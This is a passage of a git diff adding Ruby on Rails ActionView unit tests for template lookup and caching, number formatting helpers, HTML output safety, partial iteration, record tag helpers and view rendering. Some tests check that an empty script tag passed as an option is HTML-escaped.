+ @lookup_context.locale = :da
+ template = @lookup_context.find("hello_world", %w(test))
+ assert_equal "Hey verden", template.source
+ end
+
+ test "find templates with given variants" do
+ @lookup_context.formats = [:html]
+ @lookup_context.variants = [:phone]
+
+ template = @lookup_context.find("hello_world", %w(test))
+ assert_equal "Hello phone!", template.source
+
+ @lookup_context.variants = [:phone]
+ @lookup_context.formats = [:text]
+
+ template = @lookup_context.find("hello_world", %w(test))
+ assert_equal "Hello texty phone!", template.source
+ end
+
+ test "found templates respects given formats if one cannot be found from template or handler" do
+ ActionView::Template::Handlers::Builder.expects(:default_format).returns(nil)
+ @lookup_context.formats = [:text]
+ template = @lookup_context.find("hello", %w(test))
+ assert_equal [:text], template.formats
+ end
+
+ test "adds fallbacks to view paths when required" do
+ assert_equal 1, @lookup_context.view_paths.size
+
+ @lookup_context.with_fallbacks do
+ assert_equal 3, @lookup_context.view_paths.size
+ assert @lookup_context.view_paths.include?(ActionView::FallbackFileSystemResolver.new(""))
+ assert @lookup_context.view_paths.include?(ActionView::FallbackFileSystemResolver.new("/"))
+ end
+ end
+
+ test "add fallbacks just once in nested fallbacks calls" do
+ @lookup_context.with_fallbacks do
+ @lookup_context.with_fallbacks do
+ assert_equal 3, @lookup_context.view_paths.size
+ end
+ end
+ end
+
+ test "generates a new details key for each details hash" do
+ keys = []
+ keys << @lookup_context.details_key
+ assert_equal 1, keys.uniq.size
+
+ @lookup_context.locale = :da
+ keys << @lookup_context.details_key
+ assert_equal 2, keys.uniq.size
+
+ @lookup_context.locale = :en
+ keys << @lookup_context.details_key
+ assert_equal 2, keys.uniq.size
+
+ @lookup_context.formats = [:html]
+ keys << @lookup_context.details_key
+ assert_equal 3, keys.uniq.size
+
+ @lookup_context.formats = nil
+ keys << @lookup_context.details_key
+ assert_equal 3, keys.uniq.size
+ end
+
+ test "gives the key forward to the resolver, so it can be used as cache key" do
+ @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ # Now we are going to change the template, but it won't change the returned template
+ # since we will hit the cache.
+ @lookup_context.view_paths.first.hash["test/_foo.erb"] = "Bar"
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ # This time we will change the locale. The updated template should be picked since
+ # lookup_context generated a new key after we changed the locale.
+ @lookup_context.locale = :da
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Bar", template.source
+
+ # Now we will change back the locale and it will still pick the old template.
+ # This is expected because lookup_context will reuse the previous key for :en locale.
+ @lookup_context.locale = :en
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ # Finally, we can expire the cache. And the expected template will be used.
+ @lookup_context.view_paths.first.clear_cache
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Bar", template.source
+ end
+
+ test "can disable the cache on demand" do
+ @lookup_context.view_paths = ActionView::FixtureResolver.new("test/_foo.erb" => "Foo")
+ old_template = @lookup_context.find("foo", %w(test), true)
+
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal template, old_template
+
+ assert @lookup_context.cache
+ template = @lookup_context.disable_cache do
+ assert !@lookup_context.cache
+ @lookup_context.find("foo", %w(test), true)
+ end
+ assert @lookup_context.cache
+
+ assert_not_equal template, old_template
+ end
+
+ test "responds to #prefixes" do
+ assert_equal [], @lookup_context.prefixes
+ @lookup_context.prefixes = ["foo"]
+ assert_equal ["foo"], @lookup_context.prefixes
+ end
+end
+
+class LookupContextWithFalseCaching < ActiveSupport::TestCase
+ def setup
+ @resolver = ActionView::FixtureResolver.new("test/_foo.erb" => ["Foo", Time.utc(2000)])
+ ActionView::Resolver.stubs(:caching?).returns(false)
+ @lookup_context = ActionView::LookupContext.new(@resolver, {})
+ end
+
+ test "templates are always found in the resolver but timestamp is checked before being compiled" do
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ # Now we are going to change the template, but it won't change the returned template
+ # since the timestamp is the same.
+ @resolver.hash["test/_foo.erb"][0] = "Bar"
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ # Now update the timestamp.
+ @resolver.hash["test/_foo.erb"][1] = Time.now.utc
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Bar", template.source
+ end
+
+ test "if no template was found in the second lookup, with no cache, raise error" do
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+
+ @resolver.hash.clear
+ assert_raise ActionView::MissingTemplate do
+ @lookup_context.find("foo", %w(test), true)
+ end
+ end
+
+ test "if no template was cached in the first lookup, retrieval should work in the second call" do
+ @resolver.hash.clear
+ assert_raise ActionView::MissingTemplate do
+ @lookup_context.find("foo", %w(test), true)
+ end
+
+ @resolver.hash["test/_foo.erb"] = ["Foo", Time.utc(2000)]
+ template = @lookup_context.find("foo", %w(test), true)
+ assert_equal "Foo", template.source
+ end
+end
+
+class TestMissingTemplate < ActiveSupport::TestCase
+ def setup
+ @lookup_context = ActionView::LookupContext.new("/Path/to/views", {})
+ end
+
+ test "if no template was found we get a helpful error message including the inheritance chain" do
+ e = assert_raise ActionView::MissingTemplate do
+ @lookup_context.find("foo", %w(parent child))
+ end
+ assert_match %r{Missing template parent/foo, child/foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ end
+
+ test "if no partial was found we get a helpful error message including the inheritance chain" do
+ e = assert_raise ActionView::MissingTemplate do
+ @lookup_context.find("foo", %w(parent child), true)
+ end
+ assert_match %r{Missing partial parent/_foo, child/_foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ end
+
+ test "if a single prefix is passed as a string and the lookup fails, MissingTemplate accepts it" do
+ e = assert_raise ActionView::MissingTemplate do
+ details = {:handlers=>[], :formats=>[], :variants=>[], :locale=>[]}
+ @lookup_context.view_paths.find("foo", "parent", true, details)
+ end
+ assert_match %r{Missing partial parent/_foo with .* Searched in:\n \* "/Path/to/views"\n}, e.message
+ end
+
+end
diff --git a/actionview/test/template/number_helper_test.rb b/actionview/test/template/number_helper_test.rb
new file mode 100644
index 0000000000..b59883b760
--- /dev/null
+++ b/actionview/test/template/number_helper_test.rb
@@ -0,0 +1,197 @@
+require "abstract_unit"
+
+class NumberHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::NumberHelper
+
+ def test_number_to_phone
+ assert_equal nil, number_to_phone(nil)
+ assert_equal "555-1234", number_to_phone(5551234)
+ assert_equal "(800) 555-1212 x 123", number_to_phone(8005551212, area_code: true, extension: 123)
+ assert_equal "+18005551212", number_to_phone(8005551212, country_code: 1, delimiter: "")
+ assert_equal "+&lt;script&gt;&lt;/script&gt;8005551212", number_to_phone(8005551212, country_code: "<script></script>", delimiter: "")
+ assert_equal "8005551212 x &lt;script&gt;&lt;/script&gt;", number_to_phone(8005551212, extension: "<script></script>", delimiter: "")
+ end
+
+ def test_number_to_currency
+ assert_equal nil, number_to_currency(nil)
+ assert_equal "$1,234,567,890.50", number_to_currency(1234567890.50)
+ assert_equal "$1,234,567,892", number_to_currency(1234567891.50, precision: 0)
+ assert_equal "1,234,567,890.50 - K&#269;", number_to_currency("-1234567890.50", unit: raw("K&#269;"), format: "%n %u", negative_format: "%n - %u")
+ assert_equal "&amp;pound;1,234,567,890.50", number_to_currency("1234567890.50", unit: "&pound;")
+ assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("1234567890.50", format: "<b>%n</b> %u")
+ assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("-1234567890.50", negative_format: "<b>%n</b> %u")
+ assert_equal "&lt;b&gt;1,234,567,890.50&lt;/b&gt; $", number_to_currency("-1234567890.50", 'negative_format' => "<b>%n</b> %u")
+ end
+
+ def test_number_to_percentage
+ assert_equal nil, number_to_percentage(nil)
+ assert_equal "100.000%", number_to_percentage(100)
+ assert_equal "100.000 %", number_to_percentage(100, format: '%n %')
+ assert_equal "&lt;b&gt;100.000&lt;/b&gt; %", number_to_percentage(100, format: '<b>%n</b> %')
+ assert_equal "<b>100.000</b> %", number_to_percentage(100, format: raw('<b>%n</b> %'))
+ assert_equal "100%", number_to_percentage(100, precision: 0)
+ assert_equal "123.4%", number_to_percentage(123.400, precision: 3, strip_insignificant_zeros: true)
+ assert_equal "1.000,000%", number_to_percentage(1000, delimiter: ".", separator: ",")
+ assert_equal "98a%", number_to_percentage("98a")
+ assert_equal "NaN%", number_to_percentage(Float::NAN)
+ assert_equal "Inf%", number_to_percentage(Float::INFINITY)
+ end
+
+ def test_number_with_delimiter
+ assert_equal nil, number_with_delimiter(nil)
+ assert_equal "12,345,678", number_with_delimiter(12345678)
+ assert_equal "0", number_with_delimiter(0)
+ end
+
+ def test_number_with_precision
+ assert_equal nil, number_with_precision(nil)
+ assert_equal "-111.235", number_with_precision(-111.2346)
+ assert_equal "111.00", number_with_precision(111, precision: 2)
+ assert_equal "0.00100", number_with_precision(0.001, precision: 5)
+ assert_equal "3.33", number_with_precision(Rational(10, 3), precision: 2)
+ end
+
+ def test_number_to_human_size
+ assert_equal nil, number_to_human_size(nil)
+ assert_equal "3 Bytes", number_to_human_size(3.14159265)
+ assert_equal "1.2 MB", number_to_human_size(1234567, precision: 2)
+ end
+
+ def test_number_to_human
+ assert_equal nil, number_to_human(nil)
+ assert_equal "0", number_to_human(0)
+ assert_equal "1.23 Thousand", number_to_human(1234)
+ assert_equal "489.0 Thousand", number_to_human(489000, precision: 4, strip_insignificant_zeros: false)
+ end
+
+ def test_number_to_human_escape_units
+ volume = { unit: "<b>ml</b>", thousand: "<b>lt</b>", million: "<b>m3</b>", trillion: "<b>km3</b>", quadrillion: "<b>Pl</b>" }
+ assert_equal '123 &lt;b&gt;lt&lt;/b&gt;', number_to_human(123456, :units => volume)
+ assert_equal '12 &lt;b&gt;ml&lt;/b&gt;', number_to_human(12, :units => volume)
+ assert_equal '1.23 &lt;b&gt;m3&lt;/b&gt;', number_to_human(1234567, :units => volume)
+ assert_equal '1.23 &lt;b&gt;km3&lt;/b&gt;', number_to_human(1_234_567_000_000, :units => volume)
+ assert_equal '1.23 &lt;b&gt;Pl&lt;/b&gt;', number_to_human(1_234_567_000_000_000, :units => volume)
+
+ #Including fractionals
+ distance = { mili: "<b>mm</b>", centi: "<b>cm</b>", deci: "<b>dm</b>", unit: "<b>m</b>",
+ ten: "<b>dam</b>", hundred: "<b>hm</b>", thousand: "<b>km</b>",
+ micro: "<b>um</b>", nano: "<b>nm</b>", pico: "<b>pm</b>", femto: "<b>fm</b>"}
+ assert_equal '1.23 &lt;b&gt;mm&lt;/b&gt;', number_to_human(0.00123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;cm&lt;/b&gt;', number_to_human(0.0123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;dm&lt;/b&gt;', number_to_human(0.123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;m&lt;/b&gt;', number_to_human(1.23, :units => distance)
+ assert_equal '1.23 &lt;b&gt;dam&lt;/b&gt;', number_to_human(12.3, :units => distance)
+ assert_equal '1.23 &lt;b&gt;hm&lt;/b&gt;', number_to_human(123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;km&lt;/b&gt;', number_to_human(1230, :units => distance)
+ assert_equal '1.23 &lt;b&gt;um&lt;/b&gt;', number_to_human(0.00000123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;nm&lt;/b&gt;', number_to_human(0.00000000123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;pm&lt;/b&gt;', number_to_human(0.00000000000123, :units => distance)
+ assert_equal '1.23 &lt;b&gt;fm&lt;/b&gt;', number_to_human(0.00000000000000123, :units => distance)
+ end
+
+ def test_number_helpers_escape_delimiter_and_separator
+ assert_equal "111&lt;script&gt;&lt;/script&gt;111&lt;script&gt;&lt;/script&gt;1111", number_to_phone(1111111111, delimiter: "<script></script>")
+
+ assert_equal "$1&lt;script&gt;&lt;/script&gt;01", number_to_currency(1.01, separator: "<script></script>")
+ assert_equal "$1&lt;script&gt;&lt;/script&gt;000.00", number_to_currency(1000, delimiter: "<script></script>")
+
+ assert_equal "1&lt;script&gt;&lt;/script&gt;010%", number_to_percentage(1.01, separator: "<script></script>")
+ assert_equal "1&lt;script&gt;&lt;/script&gt;000.000%", number_to_percentage(1000, delimiter: "<script></script>")
+
+ assert_equal "1&lt;script&gt;&lt;/script&gt;01", number_with_delimiter(1.01, separator: "<script></script>")
+ assert_equal "1&lt;script&gt;&lt;/script&gt;000", number_with_delimiter(1000, delimiter: "<script></script>")
+
+ assert_equal "1&lt;script&gt;&lt;/script&gt;010", number_with_precision(1.01, separator: "<script></script>")
+ assert_equal "1&lt;script&gt;&lt;/script&gt;000.000", number_with_precision(1000, delimiter: "<script></script>")
+
+ assert_equal "9&lt;script&gt;&lt;/script&gt;86 KB", number_to_human_size(10100, separator: "<script></script>")
+
+ assert_equal "1&lt;script&gt;&lt;/script&gt;01", number_to_human(1.01, separator: "<script></script>")
+ assert_equal "100&lt;script&gt;&lt;/script&gt;000 Quadrillion", number_to_human(10**20, delimiter: "<script></script>")
+ end
+
+ def test_number_to_human_with_custom_translation_scope
+ I18n.backend.store_translations 'ts',
+ :custom_units_for_number_to_human => {:mili => "mm", :centi => "cm", :deci => "dm", :unit => "m", :ten => "dam", :hundred => "hm", :thousand => "km"}
+ assert_equal "1.01 cm", number_to_human(0.0101, :locale => 'ts', :units => :custom_units_for_number_to_human)
+ ensure
+ I18n.reload!
+ end
+
+ def test_number_helpers_outputs_are_html_safe
+ assert number_to_human(1).html_safe?
+ assert !number_to_human("<script></script>").html_safe?
+ assert number_to_human("asdf".html_safe).html_safe?
+ assert number_to_human("1".html_safe).html_safe?
+
+ assert number_to_human_size(1).html_safe?
+ assert number_to_human_size(1000000).html_safe?
+ assert !number_to_human_size("<script></script>").html_safe?
+ assert number_to_human_size("asdf".html_safe).html_safe?
+ assert number_to_human_size("1".html_safe).html_safe?
+
+ assert number_with_precision(1, strip_insignificant_zeros: false).html_safe?
+ assert number_with_precision(1, strip_insignificant_zeros: true).html_safe?
+ assert !number_with_precision("<script></script>").html_safe?
+ assert number_with_precision("asdf".html_safe).html_safe?
+ assert number_with_precision("1".html_safe).html_safe?
+
+ assert number_to_currency(1).html_safe?
+ assert !number_to_currency("<script></script>").html_safe?
+ assert number_to_currency("asdf".html_safe).html_safe?
+ assert number_to_currency("1".html_safe).html_safe?
+
+ assert number_to_percentage(1).html_safe?
+ assert !number_to_percentage("<script></script>").html_safe?
+ assert number_to_percentage("asdf".html_safe).html_safe?
+ assert number_to_percentage("1".html_safe).html_safe?
+
+ assert number_to_phone(1).html_safe?
+ assert_equal "&lt;script&gt;&lt;/script&gt;", number_to_phone("<script></script>")
+ assert number_to_phone("<script></script>").html_safe?
+ assert number_to_phone("asdf".html_safe).html_safe?
+ assert number_to_phone("1".html_safe).html_safe?
+
+ assert number_with_delimiter(1).html_safe?
+ assert !number_with_delimiter("<script></script>").html_safe?
+ assert number_with_delimiter("asdf".html_safe).html_safe?
+ assert number_with_delimiter("1".html_safe).html_safe?
+ end
+
+ def test_number_helpers_should_raise_error_if_invalid_when_specified
+ exception = assert_raise InvalidNumberError do
+ number_to_human("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_to_human_size("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_with_precision("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_to_currency("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_to_percentage("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_with_delimiter("x", raise: true)
+ end
+ assert_equal "x", exception.number
+
+ exception = assert_raise InvalidNumberError do
+ number_to_phone("x", raise: true)
+ end
+ assert_equal "x", exception.number
+ end
+end
diff --git a/actionview/test/template/output_safety_helper_test.rb b/actionview/test/template/output_safety_helper_test.rb
new file mode 100644
index 0000000000..a1bf0e1a5f
--- /dev/null
+++ b/actionview/test/template/output_safety_helper_test.rb
@@ -0,0 +1,35 @@
+require 'abstract_unit'
+
+class OutputSafetyHelperTest < ActionView::TestCase
+ tests ActionView::Helpers::OutputSafetyHelper
+
+ def setup
+ @string = "hello"
+ end
+
+ test "raw returns the safe string" do
+ result = raw(@string)
+ assert_equal @string, result
+ assert result.html_safe?
+ end
+
+ test "raw handles nil values correctly" do
+ assert_equal "", raw(nil)
+ end
+
+ test "safe_join should html_escape any items, including the separator, if they are not html_safe" do
+ joined = safe_join(["<p>foo</p>".html_safe, "<p>bar</p>"], "<br />")
+ assert_equal "<p>foo</p>&lt;br /&gt;&lt;p&gt;bar&lt;/p&gt;", joined
+
+ joined = safe_join(["<p>foo</p>".html_safe, "<p>bar</p>".html_safe], "<br />".html_safe)
+ assert_equal "<p>foo</p><br /><p>bar</p>", joined
+ end
+
+ test "safe_join should work recursively similarly to Array.join" do
+ joined = safe_join(['a',['b','c']], ':')
+ assert_equal 'a:b:c', joined
+
+ joined = safe_join(['"a"',['<b>','<c>']], ' <br/> ')
+ assert_equal '&quot;a&quot; &lt;br/&gt; &lt;b&gt; &lt;br/&gt; &lt;c&gt;', joined
+ end
+end
diff --git a/actionview/test/template/partial_iteration_test.rb b/actionview/test/template/partial_iteration_test.rb
new file mode 100644
index 0000000000..695f9f1bef
--- /dev/null
+++ b/actionview/test/template/partial_iteration_test.rb
@@ -0,0 +1,33 @@
+require 'abstract_unit'
+require 'action_view/renderer/partial_renderer'
+
+class PartialIterationTest < ActiveSupport::TestCase
+ def test_has_size_and_index
+ iteration = ActionView::PartialIteration.new 3
+ assert_equal 0, iteration.index, "should be at the first index"
+ assert_equal 3, iteration.size, "should have the size"
+ end
+
+ def test_first_is_true_when_current_is_at_the_first_index
+ iteration = ActionView::PartialIteration.new 3
+ assert iteration.first?, "first when current is 0"
+ end
+
+ def test_first_is_false_unless_current_is_at_the_first_index
+ iteration = ActionView::PartialIteration.new 3
+ iteration.iterate!
+ assert !iteration.first?, "not first when current is 1"
+ end
+
+ def test_last_is_true_when_current_is_at_the_last_index
+ iteration = ActionView::PartialIteration.new 3
+ iteration.iterate!
+ iteration.iterate!
+ assert iteration.last?, "last when current is 2"
+ end
+
+ def test_last_is_false_unless_current_is_at_the_last_index
+ iteration = ActionView::PartialIteration.new 3
+ assert !iteration.last?, "not last when current is 0"
+ end
+end
diff --git a/actionpack/test/template/record_identifier_test.rb b/actionview/test/template/record_identifier_test.rb
index 22038110a5..22038110a5 100644
--- a/actionpack/test/template/record_identifier_test.rb
+++ b/actionview/test/template/record_identifier_test.rb
diff --git a/actionview/test/template/record_tag_helper_test.rb b/actionview/test/template/record_tag_helper_test.rb
new file mode 100644
index 0000000000..ab84bccb56
--- /dev/null
+++ b/actionview/test/template/record_tag_helper_test.rb
@@ -0,0 +1,117 @@
+require 'abstract_unit'
+
+class RecordTagPost
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+ attr_accessor :id, :body
+
+ def initialize
+ @id = 45
+ @body = "What a wonderful world!"
+
+ yield self if block_given?
+ end
+end
+
+class RecordTagHelperTest < ActionView::TestCase
+ include RenderERBUtils
+
+ tests ActionView::Helpers::RecordTagHelper
+
+ def setup
+ super
+ @post = RecordTagPost.new
+ end
+
+ def test_content_tag_for
+ expected = %(<li class="record_tag_post" id="record_tag_post_45"></li>)
+ actual = content_tag_for(:li, @post)
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_prefix
+ expected = %(<ul class="archived_record_tag_post" id="archived_record_tag_post_45"></ul>)
+ actual = content_tag_for(:ul, @post, :archived)
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_with_extra_html_options
+ expected = %(<tr class="record_tag_post special" id="record_tag_post_45" style='background-color: #f0f0f0'></tr>)
+ actual = content_tag_for(:tr, @post, class: "special", style: "background-color: #f0f0f0")
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_with_array_css_class
+ expected = %(<tr class="record_tag_post special odd" id="record_tag_post_45"></tr>)
+ actual = content_tag_for(:tr, @post, class: ["special", "odd"])
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_with_prefix_and_extra_html_options
+ expected = %(<tr class="archived_record_tag_post special" id="archived_record_tag_post_45" style='background-color: #f0f0f0'></tr>)
+ actual = content_tag_for(:tr, @post, :archived, class: "special", style: "background-color: #f0f0f0")
+ assert_dom_equal expected, actual
+ end
+
+ def test_block_not_in_erb_multiple_calls
+ expected = %(<div class="record_tag_post special" id="record_tag_post_45">What a wonderful world!</div>)
+ actual = div_for(@post, class: "special") { @post.body }
+ assert_dom_equal expected, actual
+ actual = div_for(@post, class: "special") { @post.body }
+ assert_dom_equal expected, actual
+ end
+
+ def test_block_works_with_content_tag_for_in_erb
+ expected = %(<tr class="record_tag_post" id="record_tag_post_45">What a wonderful world!</tr>)
+ actual = render_erb("<%= content_tag_for(:tr, @post) do %><%= @post.body %><% end %>")
+ assert_dom_equal expected, actual
+ end
+
+ def test_div_for_in_erb
+ expected = %(<div class="record_tag_post special" id="record_tag_post_45">What a wonderful world!</div>)
+ actual = render_erb("<%= div_for(@post, class: 'special') do %><%= @post.body %><% end %>")
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_collection
+ post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
+ post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
+ expected = %(<li class="record_tag_post" id="record_tag_post_101">Hello!</li>\n<li class="record_tag_post" id="record_tag_post_102">World!</li>)
+ actual = content_tag_for(:li, [post_1, post_2]) { |post| post.body }
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_collection_without_given_block
+ post_1 = RecordTagPost.new.tap { |post| post.id = 101; post.body = "Hello!" }
+ post_2 = RecordTagPost.new.tap { |post| post.id = 102; post.body = "World!" }
+ expected = %(<li class="record_tag_post" id="record_tag_post_101"></li>\n<li class="record_tag_post" id="record_tag_post_102"></li>)
+ actual = content_tag_for(:li, [post_1, post_2])
+ assert_dom_equal expected, actual
+ end
+
+ def test_div_for_collection
+ post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
+ post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
+ expected = %(<div class="record_tag_post" id="record_tag_post_101">Hello!</div>\n<div class="record_tag_post" id="record_tag_post_102">World!</div>)
+ actual = div_for([post_1, post_2]) { |post| post.body }
+ assert_dom_equal expected, actual
+ end
+
+ def test_content_tag_for_single_record_is_html_safe
+ result = div_for(@post, class: "special") { @post.body }
+ assert result.html_safe?
+ end
+
+ def test_content_tag_for_collection_is_html_safe
+ post_1 = RecordTagPost.new { |post| post.id = 101; post.body = "Hello!" }
+ post_2 = RecordTagPost.new { |post| post.id = 102; post.body = "World!" }
+ result = content_tag_for(:li, [post_1, post_2]) { |post| post.body }
+ assert result.html_safe?
+ end
+
+ def test_content_tag_for_does_not_change_options_hash
+ options = { class: "important" }
+ content_tag_for(:li, @post, options)
+ assert_equal({ class: "important" }, options)
+ end
+end
diff --git a/actionview/test/template/render_test.rb b/actionview/test/template/render_test.rb
new file mode 100644
index 0000000000..4e502bede9
--- /dev/null
+++ b/actionview/test/template/render_test.rb
@@ -0,0 +1,586 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class TestController < ActionController::Base
+end
+
+module RenderTestCases
+ def setup_view(paths)
+ @assigns = { :secret => 'in the sauce' }
+ @view = ActionView::Base.new(paths, @assigns)
+ @controller_view = TestController.new.view_context
+
+ # Reload and register danish language for testing
+ I18n.backend.store_translations 'da', {}
+ I18n.backend.store_translations 'pt-BR', {}
+
+ # Ensure original are still the same since we are reindexing view paths
+ assert_equal ORIGINAL_LOCALES, I18n.available_locales.map(&:to_s).sort
+ end
+
+ def test_render_without_options
+ e = assert_raises(ArgumentError) { @view.render() }
+ assert_match(/You invoked render but did not give any of (.+) option./, e.message)
+ end
+
+ def test_render_file
+ assert_equal "Hello world!", @view.render(:file => "test/hello_world")
+ end
+
+ # Test if :formats, :locale etc. options are passed correctly to the resolvers.
+ def test_render_file_with_format
+ assert_match "<h1>No Comment</h1>", @view.render(:file => "comments/empty", :formats => [:html])
+ assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => [:xml])
+ assert_match "<error>No Comment</error>", @view.render(:file => "comments/empty", :formats => :xml)
+ end
+
+ def test_render_template_with_format
+ assert_match "<h1>No Comment</h1>", @view.render(:template => "comments/empty", :formats => [:html])
+ assert_match "<error>No Comment</error>", @view.render(:template => "comments/empty", :formats => [:xml])
+ end
+
+ def test_rendered_format_without_format
+ @view.render(:inline => "test")
+ assert_equal :html, @view.lookup_context.rendered_format
+ end
+
+ def test_render_partial_implicitly_use_format_of_the_rendered_template
+ @view.lookup_context.formats = [:json]
+ assert_equal "Hello world", @view.render(:template => "test/one", :formats => [:html])
+ end
+
+ def test_render_partial_implicitly_use_format_of_the_rendered_partial
+ @view.lookup_context.formats = [:html]
+ assert_equal "Third level", @view.render(:template => "test/html_template")
+ end
+
+ def test_render_partial_use_last_prepended_format_for_partials_with_the_same_names
+ @view.lookup_context.formats = [:html]
+ assert_equal "\nHTML Template, but JSON partial", @view.render(:template => "test/change_priority")
+ end
+
+ def test_render_template_with_a_missing_partial_of_another_format
+ @view.lookup_context.formats = [:html]
+ assert_raise ActionView::Template::Error, "Missing partial /_missing with {:locale=>[:en], :formats=>[:json], :handlers=>[:erb, :builder]}" do
+ @view.render(:template => "with_format", :formats => [:json])
+ end
+ end
+
+ def test_render_file_with_locale
+ assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => [:de])
+ assert_equal "<h1>Kein Kommentar</h1>", @view.render(:file => "comments/empty", :locale => :de)
+ end
+
+ def test_render_template_with_locale
+ assert_equal "<h1>Kein Kommentar</h1>", @view.render(:template => "comments/empty", :locale => [:de])
+ end
+
+ def test_render_file_with_handlers
+ assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => [:builder])
+ assert_equal "<h1>No Comment</h1>\n", @view.render(:file => "comments/empty", :handlers => :builder)
+ end
+
+ def test_render_template_with_handlers
+ assert_equal "<h1>No Comment</h1>\n", @view.render(:template => "comments/empty", :handlers => [:builder])
+ end
+
+ def test_render_raw_template_with_handlers
+ assert_equal "<%= hello_world %>\n", @view.render(:template => "plain_text")
+ end
+
+ def test_render_raw_template_with_quotes
+ assert_equal %q;Here are some characters: !@#$%^&*()-="'}{`; + "\n", @view.render(:template => "plain_text_with_characters")
+ end
+
+ def test_render_ruby_template_with_handlers
+ assert_equal "Hello from Ruby code", @view.render(:template => "ruby_template")
+ end
+
+ def test_render_ruby_template_inline
+ assert_equal '4', @view.render(:inline => "(2**2).to_s", :type => :ruby)
+ end
+
+ def test_render_file_with_localization_on_context_level
+ old_locale, @view.locale = @view.locale, :da
+ assert_equal "Hey verden", @view.render(:file => "test/hello_world")
+ ensure
+ @view.locale = old_locale
+ end
+
+ def test_render_file_with_dashed_locale
+ old_locale, @view.locale = @view.locale, :"pt-BR"
+ assert_equal "Ola mundo", @view.render(:file => "test/hello_world")
+ ensure
+ @view.locale = old_locale
+ end
+
+ def test_render_file_at_top_level
+ assert_equal 'Elastica', @view.render(:file => '/shared')
+ end
+
+ def test_render_file_with_full_path
+ template_path = File.join(File.dirname(__FILE__), '../fixtures/test/hello_world')
+ assert_equal "Hello world!", @view.render(:file => template_path)
+ end
+
+ def test_render_file_with_instance_variables
+ assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_ivar")
+ end
+
+ def test_render_file_with_locals
+ locals = { :secret => 'in the sauce' }
+ assert_equal "The secret is in the sauce\n", @view.render(:file => "test/render_file_with_locals", :locals => locals)
+ end
+
+ def test_render_file_not_using_full_path_with_dot_in_path
+ assert_equal "The secret is in the sauce\n", @view.render(:file => "test/dot.directory/render_file_with_ivar")
+ end
+
+ def test_render_partial_from_default
+ assert_equal "only partial", @view.render("test/partial_only")
+ end
+
+ def test_render_partial
+ assert_equal "only partial", @view.render(:partial => "test/partial_only")
+ end
+
+ def test_render_partial_with_format
+ assert_equal 'partial html', @view.render(:partial => 'test/partial')
+ end
+
+ def test_render_partial_with_selected_format
+ assert_equal 'partial html', @view.render(:partial => 'test/partial', :formats => :html)
+ assert_equal 'partial js', @view.render(:partial => 'test/partial', :formats => [:js])
+ end
+
+ def test_render_partial_at_top_level
+ # file fixtures/_top_level_partial_only (not fixtures/test)
+ assert_equal 'top level partial', @view.render(:partial => '/top_level_partial_only')
+ end
+
+ def test_render_partial_with_format_at_top_level
+ # file fixtures/_top_level_partial.html (not fixtures/test, with format extension)
+ assert_equal 'top level partial html', @view.render(:partial => '/top_level_partial')
+ end
+
+ def test_render_partial_with_locals
+ assert_equal "5", @view.render(:partial => "test/counter", :locals => { :counter_counter => 5 })
+ end
+
+ def test_render_partial_with_locals_from_default
+ assert_equal "only partial", @view.render("test/partial_only", :counter_counter => 5)
+ end
+
+ def test_render_partial_with_invalid_name
+ e = assert_raises(ArgumentError) { @view.render(:partial => "test/200") }
+ assert_equal "The partial name (test/200) is not a valid Ruby identifier; " +
+ "make sure your partial name starts with a lowercase letter or underscore, " +
+ "and is followed by any combination of letters, numbers and underscores.", e.message
+ end
+
+ def test_render_partial_with_missing_filename
+ e = assert_raises(ArgumentError) { @view.render(:partial => "test/") }
+ assert_equal "The partial name (test/) is not a valid Ruby identifier; " +
